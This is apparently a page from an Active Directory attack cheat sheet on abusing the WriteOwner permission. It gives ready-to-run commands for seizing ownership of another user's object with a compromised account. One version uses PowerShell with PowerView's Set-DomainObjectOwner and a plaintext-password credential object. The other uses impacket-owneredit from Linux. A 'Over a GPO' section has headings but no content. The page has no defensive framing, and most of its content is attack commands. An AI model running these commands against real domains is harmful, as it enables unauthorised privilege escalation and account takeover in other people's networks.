CAPEactive-directoryDACL
WriteOwner
Over a User
Windows
# Create an object with the compromised account's credentials
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('marvel\x7331', $SecPassword)
# Set the ownership of the target object (PowerView)
Set-DomainObjectOwner -Credential $Cred -TargetIdentity "bob" -OwnerIdentity "x7331"Linux
impacket-owneredit -action write -new-owner x7331 -target bob marvel.local/x7331:'Passw0rd123!'Over a GPO
Windows
Linux
Last updated